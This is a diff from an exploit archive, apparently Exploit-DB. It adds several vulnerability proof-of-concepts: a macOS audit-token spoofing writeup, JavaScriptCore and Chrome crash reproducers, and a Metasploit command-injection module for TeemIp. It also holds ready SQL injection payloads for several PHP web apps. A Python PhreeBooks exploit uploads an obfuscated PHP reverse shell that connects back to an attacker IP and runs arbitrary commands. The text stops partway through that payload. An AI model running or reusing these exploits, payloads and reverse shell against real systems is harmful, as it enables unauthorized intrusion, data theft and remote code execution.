the pidversion is incremented "ad-hoc", without updating the global nextpidversion variable. With that it becomes possible to create two processes with the same (pid, pidversion) pair without wrapping around the 32-bit pidversion: + +1. The initial exploit process is identified by the pair (pid: X, pidversion: Y) +2. The exploit performs 10000 execves to get (X, Y + 100000) +3. The exploit interacts with a privileged service which stores the client's audit_token (or directly uses it, in which case the following part becomes a race) +4. The exploit forks, with the parent processes immediately terminating, until it has the same PID again. This could, for example, require 99000 forks (because some PIDs are in use). The process now has (X, Y + 99000) +5. The exploit execves until it has (X, Y + 99999) +6. The exploit execves a privileged binary. The privileged binary will have (X, Y + 100000) +7. At this time the privileged service performs a security check of the client but will perform this check on the entitled process even though the request came from an unprivileged process + +The attached PoC demonstrates this by showing that an IPC service can be tricked into believing that the client has a specific entitlement. To reproduce: + +1. compile the attached code: `make` +2. start the helper service: `./service`. The service simply prints the value of a predefined entitlement (currently "com.apple.private.AuthorizationServices") of a connected client +3. in a separate shell start the exploit: `./exploit`. +4. once the exploit prints "[+] All done. Spawning sudo now", press enter in the shell where the helper service is running. It should now print the value of the entitlement. + +The gained primitive (obtaining more or less arbitrary entitlements) can then e.g. be used as described here: https://gist.github.com/ChiChou/e3a50f00853b2fbfb1debad46e501121. Besides entitlements, it should also be possible to spoof code signatures this way. Furthermore, it might be possible to use this bug for a sandbox escape if one is able to somehow perform execve (there are multiple sandboxed services and applications that have (allow process-exec) in their sandbox profile for example). In that case, one could spawn a non-sandboxed system service into the same (pid, pidversion) pair prior to performing some IPC operations where the endpoint will do a sandbox_check_by_audit_token. However, precisely spawning a non-sandboxed process into the same (pid, pidversion) will likely be a lot less reliable. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/46648.zip \ No newline at end of file diff --git a/exploits/multiple/dos/46649.js b/exploits/multiple/dos/46649.js new file mode 100644 index 000000000..258506427 --- /dev/null +++ b/exploits/multiple/dos/46649.js @@ -0,0 +1,77 @@ +/* +While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc in current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc on macOS): +*/ + + // Run with --thresholdForFTLOptimizeAfterWarmUp=1000 + + // First array probably required to avoid COW backing storage or so... + const v3 = [1337,1337,1337,1337]; + const v6 = [1337,1337]; + + function v7(v8) { + for (let v9 in v8) { + v8.a = 42; + const v10 = v8[-698666199]; + } + } + + while (true) { + const v14 = v7(v6); + const v15 = v7(1337); + } + +/* +Note that the sample requires the FTL JIT threshold to be lowered in order to trigger. However, I also have a slightly modified version that (less reliably) crashes with the default threshold which I can share if that is helpful. + +Following is my preliminary analysis of the crash. + +During JIT compilation in the FTL tier, the JIT IR for v7 will have the following properties: + +* A Structure check will be inserted for v8 due to the property access. The check will ensure that the array is of the correct type at runtime (ArrayWithInt32, with a property 'a') +* The loop header fetches the array length for the enumeration +* The element access into v8 is (incorrectly?) speculated to be InBounds, presumably because negative numbers are not actually valid array indices but instead regular property names +* As a result, the element access will be optimized into a CheckBounds node followed by a GetByVal node (both inside the loop body) +* The CheckBounds node compares the constant index against the array length which was loaded in the loop header + +The IR for the function will thus look roughly as follows: + + # Loop header + len = LoadArrayLength v8 + // Do other loop header stuff + + # Loop body + CheckStructure v8, expected_structure_id + StoreProperty v8, 'a', 42 + CheckBounds -698666199, len // Bails out if index is OOB (always in this case...) + GetByVal v8, -698666199 // Loads the element from the backing storage without performing additional checks + + // Jump back to beginning of loop + + +Here is what appears to be happening next during loop-invariant code motion (LICM), an optimization designed to move code inside a loop body in front of the loop if it doesn't need to be executed multiple times: + +1. LICM determines that the CheckStructure node can be hoisted in front of the loop header and does so +2. LICM determines that the CheckBounds node can *not* be hoisted in front of the loop header as it depends on the array length which is only loaded in the loop header +3. LICM determines that the array access (GetByVal) can be hoisted in front of the loop (as it does not depend on any loop variables) and does so + +As a result of the above, the IR is transformed roughly to the following: + + StructureCheck v8, expected_structure_id + GetByVal v8, -698666199 + + # Loop header + len = LoadArrayLength v8 + // Do other loop header stuff + + # Loop body + StoreProperty v8, 'a', 42 + CheckBounds -698666199, len + + // Jump back to beginning of loop + +As such, the (unchecked) array element access is now located before the loop header with the bounds check only happening afterwards inside the loop body. The provided PoC then crashes while accessing memory 698666199 * 8 bytes before the element vector for v6. It should be possible to turn this bug into arbitrary out-of-bounds access, but I haven't tried that. + +Hoisting of GetByVal will only happen if safeToExecute (from DFGSafeToExecute.h) returns true. This function appears to only be concerned about type checks, so in this case it concludes that the GetByVal can be moved in front of the loop header as the StructureCheck (performing the type check) is also moved there. This seems to be the reason that the property store (v8.a = 42) is required as it forces a CheckStructure node which would otherwise be missing. + +The invocations of v7 with a non-array argument (1337 in this case) seem to be necessary to not trigger a bailout in earlier JIT tiers too often, which would prevent the FTL JIT from ever compiling the function. +*/ \ No newline at end of file diff --git a/exploits/multiple/dos/46650.js b/exploits/multiple/dos/46650.js new file mode 100644 index 000000000..56bacfca1 --- /dev/null +++ b/exploits/multiple/dos/46650.js @@ -0,0 +1,96 @@ +/* +While fuzzing JavaScriptCore, I encountered the following (simplified and commented) JavaScript program which crashes jsc from current HEAD and release: +*/ + + function v9() { + // Some watchpoint (on the LexicalEnvironment) is triggered here + // during the 2nd invocation which jettisons the CodeBlock for v9. + + // Trigger GC here (in the 2nd invocation) and free the jettisoned CodeBlock. + const v18 = [13.37,13.37,13.37,13.37]; + for (const v43 in v18) { + const v47 = new Float64Array(65493); + } + + // Trigger some other watchpoint here, jettisoning the same CodeBlock + // again and thus crashing when touching the already freed memory. + const v66 = RegExp(); + + // Seems to be required to get the desired compilation + // behaviour in DFG (OSR enter in a loop)... + for (let v69 = 0; v69 < 10000; v69++) { + function v70() { + const v73 = v66.test("asdf"); + } + v70(); + } + + // Inserts elements into the Array prototype so the + // first loop runs longer in the second invocation. + for (let v114 = 13.37; v114 < 10000; v114++) { + const v127 = [].__proto__; + v127[v114] = 1337; + } + } + const v182 = /i/g; + const v183 = "ii"; + v183.replace(v182,v9); + + // (Jettisoning is the process of discarding a unit of JIT compiled code + // because it is no longer needed or is now unsafe to execute). + +/* +When running in a debug build, it produces a crash similar to the following: + +* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0) + frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583 +(lldb) up 2 +frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957 +(lldb) x/4gx this +0x109388b80: 0x0000000000000000 0x00000000badbeef0 +0x109388b90: 0x00000000badbeef0 0x00000000badbeef0 +(lldb) bt +* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0) + frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583 + frame #1: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(this=0x00000000badbeef0, codeBlock=0x0000000109388b80, summary="jettison", func=0x00007ffeefbfc570)::$_10 const&) at VMInlines.h:59 + * frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957 + frame #3: 0x0000000100674a86 JavaScriptCore`JSC::CodeBlockJettisoningWatchpoint::fireInternal(this=0x0000000106541c08, (null)=0x0000000106600000, detail=0x00007ffeefbfc708) at CodeBlockJettisoningWatchpoint.cpp:40 + frame #4: 0x000000010072a86c JavaScriptCore`JSC::Watchpoint::fire(this=0x0000000106541c08, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:55 + frame #5: 0x000000010072b014 JavaScriptCore`JSC::WatchpointSet::fireAllWatchpoints(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:140 + frame #6: 0x000000010072add6 JavaScriptCore`JSC::WatchpointSet::fireAllSlow(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:91 + frame #7: 0x000000010067f790 JavaScriptCore`void JSC::WatchpointSet::fireAll(this=0x00000001065bf6e0, vm=0x0000000106600000, fireDetails=0x00007ffeefbfc708) at Watchpoint.h:190 + frame #8: 0x000000010072a3bc JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.h:198 + frame #9: 0x0000000100b0a41b JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, reason="Executed NotifyWrite") at Watchpoint.h:203 + frame #10: 0x0000000100b0a3c2 JavaScriptCore`::operationNotifyWrite(exec=0x00007ffeefbfc830, set=0x00000001065bf6e0) at DFGOperations.cpp:2457 + +As can be seen, the CodeBlock object has been freed by the GC and, since this is a debug build, overwritten with a poison value (0xbadbeef0). + +It appears that what is happening here is roughly the following: + +* The function v9 is called multiple times as callback during the string.replace operation +* During the first invocation, the function v9 is JIT compiled at one of the inner loops and execution switches to the JIT code + * The JIT compiled code has various dependencies on the outside environment in the form of Watchpoints +* During the 2nd invocation, the LexicalEnvironment of v9 is recreated, triggering a Watchpoint (presumably because the function was originally compiled at one of the inner loops) and jettisoning the associated CodeBlock +* At that point, there are no more references to the CodeBlock, and the following GC frees the object +* Still during the 2nd invocation, after GC, another Watchpoint of the previous JIT code fires, again trying to jettison the CodeBlock that has already been freed + +The freeing of the CodeBlock by the GC is possible because the Watchpoint itself only has a raw pointer to the CodeBlock and not any kind of GC reference that would keep it alive (or be set to nullptr): + + class CodeBlockJettisoningWatchpoint : public Watchpoint { + public: + CodeBlockJettisoningWatchpoint(CodeBlock* codeBlock) + : m_codeBlock(codeBlock) + { + } + + protected: + void fireInternal(VM&, const FireDetail&) override; + + private: + CodeBlock* m_codeBlock; + }; + + +It appears that this scenario normally does not happen because the CodeBlock unlinks and frees its associated Watchpoints when it is destroyed. +However, the reference chain is CodeBlock ---(RefPtr)---> JITCode ---(owning reference)---> Watchpoints, and in this case the JITCode is being kept alive at the entrypoint (CachedCall::call) for the duration of callback, thus keeping the Watchpoints alive as well even though the CodeBlock has already been freed. +*/ \ No newline at end of file diff --git a/exploits/multiple/dos/46651.html b/exploits/multiple/dos/46651.html new file mode 100644 index 000000000..a8f50bb4d --- /dev/null +++ b/exploits/multiple/dos/46651.html @@ -0,0 +1,51 @@ + + + + + + + + + + \ No newline at end of file diff --git a/exploits/multiple/dos/46652.txt b/exploits/multiple/dos/46652.txt new file mode 100644 index 000000000..0c08b58c9 --- /dev/null +++ b/exploits/multiple/dos/46652.txt @@ -0,0 +1,93 @@ +VULNERABILITY DETAILS +The binding code generator doesn't add checks to ensure that the callback +properties of a dictionary are indeed JS functions. For example, for the +the TrustedTypePolicyOptions dictionary: +https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/trustedtypes/trusted_type_policy_options.idl?rcl=6c2e672967359ad32d19af8b09873adab2c0beec&l=7 +------------------- +dictionary TrustedTypePolicyOptions { + CreateHTMLCallback createHTML; + CreateScriptCallback createScript; + CreateURLCallback createScriptURL; + CreateURLCallback createURL; + boolean exposed = false; +}; + +callback CreateHTMLCallback = DOMString (DOMString input); +callback CreateScriptCallback = DOMString (DOMString input); +callback CreateURLCallback = USVString (DOMString input); +------------------- + +the code is generated as follows: +https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy_options.cc?rcl=077f8deee2dee38d4836be1df20115eba4884f69&l=35 +------------------- +void V8TrustedTypePolicyOptions::ToImpl(v8::Isolate* isolate, v8::Local v8_value, TrustedTypePolicyOptions* impl, ExceptionState& exception_state) { + if (IsUndefinedOrNull(v8_value)) { + return; + } + if (!v8_value->IsObject()) { + exception_state.ThrowTypeError("cannot convert to dictionary."); + return; + } + v8::Local v8Object = v8_value.As(); + ALLOW_UNUSED_LOCAL(v8Object); + + const v8::Eternal* keys = eternalV8TrustedTypePolicyOptionsKeys(isolate); + v8::TryCatch block(isolate); + v8::Local context = isolate->GetCurrentContext(); + v8::Local create_html_value; + if (!v8Object->Get(context, keys[0].Get(isolate)).ToLocal(&create_html_value)) { + exception_state.RethrowV8Exception(block.Exception()); + return; + } + if (create_html_value.IsEmpty() || create_html_value->IsUndefined()) { + // Do nothing. + } else { + V8CreateHTMLCallback* create_html_cpp_value = V8CreateHTMLCallback::Create(create_html_value.As()); //******* cast with no prior check + impl->setCreateHTML(create_html_cpp_value); + } +[...] +------------------- + +Thus, any JS object might be interpreted as a function. + + +VERSION +Google Chrome 72.0.3626.81 (Official Build) (64-bit) +Please note that the TrustedTypes feature is currently hidden behind the +"experimental platform features" flag. + + +REPRODUCTION CASE + + + +(790.b30): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa: +00007ffe`ba967f5a 488b41ff mov rax,qword ptr [rcx-1] ds:41414140`ffffffff=???????????????? +0:000> r +rax=00001313b3350115 rbx=00006fc6d6eaf920 rcx=4141414100000000 +rdx=000000e521dfd190 rsi=000000e521dfd190 rdi=000000e521dfd1d8 +rip=00007ffeba967f5a rsp=000000e521dfd130 rbp=000000e521dfd290 + r8=00007ffebfb25930 r9=0000000000000018 r10=0000000000000005 +r11=00003f2bc628c240 r12=000000e521dfd330 r13=000001e7dbd16650 +r14=000001e7ddc22a90 r15=00003f2bc62364b8 +iopl=0 nv up ei pl nz na po nc +cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa: +00007ffe`ba967f5a 488b41ff mov rax,qword ptr [rcx-1] ds:41414140`ffffffff=???????????????? +0:000> k + # Child-SP RetAddr Call Site +00 000000e5`21dfd130 00007ffe`ba967f24 chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa [C:\b\c\b\win64_clang\src\v8\src\objects.cc @ 4010] +01 000000e5`21dfd170 00007ffe`bab1a1d7 chrome_child!v8::Object::CreationContext+0x24 [C:\b\c\b\win64_clang\src\v8\src\api.cc @ 4859] +02 000000e5`21dfd1b0 00007ffe`bd196835 chrome_child!blink::CallbackFunctionBase::CallbackFunctionBase+0x47 [C:\b\c\b\win64_clang\src\third_party\blink\renderer\platform\bindings\callback_function_base.cc @ 13] +03 000000e5`21dfd210 00007ffe`bd195101 chrome_child!blink::V8TrustedTypePolicyOptions::ToImpl+0x125 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_options.cc @ 57] +04 000000e5`21dfd2f0 00007ffe`ba957f93 chrome_child!blink::V8TrustedTypePolicyFactory::CreatePolicyMethodCallback+0x211 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_factory.cc @ 234] +05 000000e5`21dfd3c0 00007ffe`bbbebb9f chrome_child!v8::internal::FunctionCallbackArguments::Call+0x253 [C:\b\c\b\win64_clang\src\v8\src\api-arguments-inl.h @ 147] +06 000000e5`21dfd4e0 00007ffe`bbbeb631 chrome_child!v8::internal::`anonymous namespace'::HandleApiCallHelper<0>+0x20f [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 111] +07 000000e5`21dfd5e0 00007ffe`ba957ca1 chrome_child!v8::internal::Builtin_Impl_HandleApiCall+0x111 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 0] +08 000000e5`21dfd6a0 00007ffe`bc23cdcf chrome_child!v8::internal::Builtin_HandleApiCall+0x41 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 127] +09 000000e5`21dfd700 00003921`bff1b0d1 chrome_child!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x4f \ No newline at end of file diff --git a/exploits/multiple/dos/46653.html b/exploits/multiple/dos/46653.html new file mode 100644 index 000000000..4bf594141 --- /dev/null +++ b/exploits/multiple/dos/46653.html @@ -0,0 +1,138 @@ + + + +

Click to start AudioContext

+ + \ No newline at end of file diff --git a/exploits/multiple/remote/46654.html b/exploits/multiple/remote/46654.html new file mode 100644 index 000000000..7f29eb8bc --- /dev/null +++ b/exploits/multiple/remote/46654.html @@ -0,0 +1,555 @@ + + + + + + + \ No newline at end of file diff --git a/exploits/php/remote/46641.rb b/exploits/php/remote/46641.rb new file mode 100755 index 000000000..d8481759a --- /dev/null +++ b/exploits/php/remote/46641.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection", + 'Description' => %q( + This module exploits a command injection vulnerability in TeemIp + versions prior to 2.4.0. The "new_config" parameter of "exec.php" + allows you to create a new PHP file with the exception of config information. + + The malicious PHP code sent is executed instantaneously and is not saved on the server. + The vulnerability can be exploited by an authorized user (Administrator). + Module allows remote command execution by sending php payload with parameter 'new_config'. + + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module + ], + 'References' => + [ + ['URL', 'http://pentest.com.tr/exploits/TeemIp-IPAM-2-4-0-new-config-Command-Injection-Metasploit.html'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic', {}]], + 'Privileged' => false, + 'DisclosureDate' => "Apr 03 2019", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, "Base TeemIp IPAM directory path", '/6']), + OptString.new('USERNAME', [true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [false, "Password to authenticate with", 'admin']) + ] + ) + end +## +# Login and cookie information gathering +## + def do_login + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'pages', 'UI.php'), + 'vars_post' => { + 'auth_user' => datastore['username'], + 'auth_pwd' => datastore['password'], + 'loginop' => 'login' + } + ) + + unless res + fail_with(Failure::Unreachable, 'Connection error occurred!') + end + + if res.code == 200 && (res.body =~ /Logged in as/) + print_good("Authentication was successful") + @cookies = res.get_cookies + return + else + fail_with(Failure::NoAccess, 'Authentication was unsuccessful') + end + end + + def peer + "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" + end +## +# Exploitation process with prepared information +## + def exploit + unless Exploit::CheckCode::Appears == check + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') + end + + @cookies = nil + do_login + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'pages', 'exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor'), + 'headers' => { + 'Cookie' => @cookies + } + ) + + if res and res.code == 200 and res.body =~ /Identify yourself/ + return do_login + else + transid = res.body.split('transaction_id" value="')[1].split('"')[0] + print_good("transaction_id : #{transid}") + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, 'pages', 'exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor'), + 'vars_post' => { + "operation" => "save", + "transaction_id" => transid, + "prev_config" => "exec", + "new_config" => payload.encoded + }, + 'headers' => { + 'Cookie' => @cookies + } + ) + handler + + end +## +# Version and Vulnerability Check +## + def check + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'pages', 'ajax.render.php'), + 'vars_post' => { + "operation" => "about_box" + } + ) + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + + if res.code == 200 + version = res.body.split('iTop version ')[1].split('" src=')[0] + if version < '2.4.1' + print_status("#{peer} - Teemip Version is #{version}") + return Exploit::CheckCode::Appears + end + end + + return Exploit::CheckCode::Safe + end +## +# End +## +end \ No newline at end of file diff --git a/exploits/php/webapps/46640.txt b/exploits/php/webapps/46640.txt new file mode 100644 index 000000000..262677c5d --- /dev/null +++ b/exploits/php/webapps/46640.txt @@ -0,0 +1,15 @@ +# Exploit Title: iScripts ReserveLogic - SQL Injection +# Date: 29.03.2019 +# Exploit Author: Ahmet Ümit BAYRAM +# Vendor Homepage: https://www.iscripts.com/reservelogic/ +# Demo Site: https://www.demo.iscripts.com/reservelogic/demo/ +# Version: Lastest +# Tested on: Kali Linux +# CVE: N/A + +----- PoC: SQLi ----- + +Request: http://localhost/[PATH]/search +Vulnerable Parameter: jqSearchDestination (POST) +Payload: jqSearchDestination=(SELECT (CASE WHEN (8124=8124) THEN 12345 ELSE +(SELECT 3029 UNION SELECT 1241) END)) \ No newline at end of file diff --git a/exploits/php/webapps/46642.txt b/exploits/php/webapps/46642.txt new file mode 100644 index 000000000..0db0cd59e --- /dev/null +++ b/exploits/php/webapps/46642.txt @@ -0,0 +1,31 @@ +# Title: Clinic Pro - Clinic Management Software +# Date: 03.04.2019 +# Exploit Author: Abdullah Çelebi +# Vendor Homepage: https://softwebinternational.com +# Software Link: https://cms.softwebinternational.com +# Category: Webapps +# Tested on: WAMPP @Win +# Software description: +It is developed by PHP Codeigniter Framework with HMVC Pattern. Clinic +system can be easily configured and fully automated as per clinic +requirement using this Automation Software. + +# Vulnerabilities: +# An attacker can access all data following an authorized user login using +the parameter. + + +# POC - SQLi : + +# Parameter: month (POST) +# Request URL: http://localhost/welcome/monthly_expense_overview +# Type : boolean-based blind +month=06%' RLIKE (SELECT (CASE WHEN (9435=9435) THEN 06 ELSE 0x28 END)) AND +'%'=' + +# Type : time-based blind +month=06%' AND 4514=BENCHMARK(5000000,MD5(0x436d7970)) AND '%'=' + +# Type : error-based +month=06%' AND EXTRACTVALUE(2633,CONCAT(0x5c,0x7178766271,(SELECT +(ELT(2633=2633,1))),0x7171717171)) AND '%'=' \ No newline at end of file diff --git a/exploits/php/webapps/46643.txt b/exploits/php/webapps/46643.txt new file mode 100644 index 000000000..f47084a75 --- /dev/null +++ b/exploits/php/webapps/46643.txt @@ -0,0 +1,17 @@ +# Exploit Title: Ashop Shopping Cart Software - SQL Injection +# Date: 03.03.2019 +# Exploit Author: Ahmet Ümit BAYRAM +# Vendor Homepage: http://www.ashopsoftware.com +# Software Link: https://sourceforge.net/projects/ashop/ +# Demo Site: http://demo.ashopsoftware.com/ +# Version: Lastest +# Tested on: Kali Linux +# CVE: N/A + +----- PoC: SQLi ----- + +Request: http://localhost/[PATH]/index.php?cat=1&exp=&shop=1 +Vulnerable Parameter: shop (GET) +Payload: cat=1&exp=&shop=-5438') UNION ALL SELECT +CONCAT(0x71786b6a71,0x6357557777645143654a726369774c4167665278634a46617758614d66506b46434f4b7669565054,0x716a787671),NULL-- +fmIb \ No newline at end of file diff --git a/exploits/php/webapps/46644.txt b/exploits/php/webapps/46644.txt new file mode 100644 index 000000000..15b915943 --- /dev/null +++ b/exploits/php/webapps/46644.txt @@ -0,0 +1,85 @@ +PhreeBooks ERP v5.2.3 - Arbitrary File Upload + +# Date: 03.04.2019 +# Exploit Author: Abdullah Çelebi +# Vendor Homepage: https://www.phreesoft.com/ +# Software Link: https://sourceforge.net/projects/phreebooks/files/latest/download +# Category: Webapps +# Version: 5.2.3 +# Tested on: WAMPP @Win +# Software description: +PhreeBooks 5 is a completely new web based application that utilizes the +redesigned Bizuno ERP library from PhreeSoft. Bizuno supports PHP 7 along +with all the latest versions of mySQL. Additionally, Bizuno utilizes the +jQuery EasyUI graphical interface and will be also enhanced for mobile +devices and tablets. + +# Vulnerabilities: +# An attacker could run a remote code after an authorized user login using +the parameter. + +# Code Section @Tools>Image Manager + +// + + + + +# POC - RCE via Arbitrary File Upload : + +Process during upload malicious file; +http://localhost/PhreeBooksERP/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload + +Post section details; +imgSearch=&imgFile=evilcode_key.php + +Result; +http://localhost/PhreeBooksERP/bizunoFS.php?&src=0/images/evilcode_key.php \ No newline at end of file diff --git a/exploits/python/remote/46645.py b/exploits/python/remote/46645.py new file mode 100755 index 000000000..890b3c20a --- /dev/null +++ b/exploits/python/remote/46645.py @@ -0,0 +1,67 @@ +# Exploit Title: PhreeBooks ERP 5.2.3 - Remote Command Execution +# Date: 2010-04-03 +# Exploit Author: Metin Yunus Kandemir (kandemir) +# Vendor Homepage: https://www.phreesoft.com/ +# Software Link: https://sourceforge.net/projects/phreebooks/ +# Version: v5.2.3 +# Category: Webapps +# Tested on: XAMPP for Linux 5.6.38-0 +# Software Description : PhreeBooks 5 is a completely new web based ERP / Accounting +# application that utilizes the redesigned Bizuno ERP library from PhreeSoft +# ================================================================== +# PoC: There are no file extension controls on Image Manager. +# If an authorized user is obtained, it is possible to run a malicious PHP file on the server. +# The following basic python exploit uploads and executes PHP File for you. + +import requests +import sys +import urllib, re, random + +if (len(sys.argv) != 2): + print "[*] Usage: poc.py (192.168.1.10/test123)" + exit(0) + +rhost = sys.argv[1] + +# Information Inputs + +UserName = str(raw_input("User Mail: ")) +Password = str(raw_input("Password: ")) +Aip = str(raw_input("Atacker IP: ")) +APort = str(raw_input("Atacker Port: ")) + +Ready = str(raw_input("Do you listen to port "+APort+" through the IP address you attacked? Y/N ")) +if Ready != "Y": + print "You should listen your port with NetCat or other handlers!" + sys.exit() + +# Login +boundary = "1663866149167960781387708339" +url = "http://"+rhost+"/index.php?&p=bizuno/portal/login" + +headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": "http://"+rhost+"/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+"", "Connection": "close"} + +ldata="-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"UserID\"\r\n\r\n"+UserName+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"UserPW\"\r\n\r\n"+Password+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"UserLang\"\r\n\r\nen_US\r\n-----------------------------"+boundary+"--\r\n" + +r = requests.post(url, headers=headers, data=ldata) + +cookies = r.headers['Set-Cookie'] +cookie = re.split(r'\s', cookies)[6].replace(';','').replace('bizunoSession=','').strip() +Ucookie = re.split(r'\s', cookies)[13].replace(';','').replace('bizunoUser=','').strip() + +# Upload + +fname = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php3" +exec_url = "http://"+rhost+"/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload" + +exec_cookies = {"bizunoLang": "en_US", "bizunoUser": ""+Ucookie+"", "bizunoSession": ""+cookie+""} + +exec_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": "http://"+rhost+"/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+"", "Connection": "close"} + +exec_data="-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"imgSearch\"\r\n\r\n\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"imgFile\"; filename=\""+fname+"\"\r\nContent-Type: binary/octet-stream\r\n\r\n&1\\n\";\n }\n $oKFwG='is_callable';\n $iodQxhE='in_array';\n \n if($oKFwG('proc_open')and!$iodQxhE('proc_open',$dis)){\n $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);\n $o=NULL;\n while(!feof($pipes[1])){\n $o.=fread($pipes[1],1024);\n }\n @proc_close($handle);\n }else\n if($oKFwG('popen')and!$iodQxhE('popen',$dis)){\n $fp=popen($c,'r');\n $o=NULL;\n if(is_resource($fp)){\n while(!feof($fp)){\n $o.=fread($fp,1024);\n }\n }\n @pclose($fp);\n }else\n if($oKFwG('exec')and!$iodQxhE('exec',$dis)){\n $o=array();\n exec($c,$o);\n $o=join(chr(10),$o).chr(10);\n }else\n if($oKFwG('passthru')and!$iodQxhE('passthru',$dis)){\n ob_start();\n passthru($c);\n $o=ob_get_contents();\n ob_end_clean();\n }else\n if($oKFwG('shell_exec')and!$iodQxhE('shell_exec',$dis)){\n $o=shell_exec($c);\n }else\n if($oKFwG('system')and!$iodQxhE('system',$dis)){\n ob_start();\n system($c);\n $o=ob_get_contents();\n ob_end_clean();\n }else\n {\n $o=0;\n }\n \n return $o;\n }\n }\n $nofuncs='no exec functions';\n if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){\n $s=@fsockopen(\"tcp://192.168.1.11\",$port);\n while($c=fread($s,2048)){\n $out = '';\n if(substr($c,0,3) == 'cd '){\n chdir(substr($c,3,-1));\n } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n break;\n }else{\n $out=gsMRl(substr($c,0,-1));\n if($out===false){\n fwrite($s,$nofuncs);\n break;\n }\n }\n fwrite($s,$out);\n }\n fclose($s);\n }else{\n $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\n @socket_connect($s,$ipaddr,$port);\n @socket_write($s,\"socket_create\");\n while($c=@socket_read($s,2048)){\n 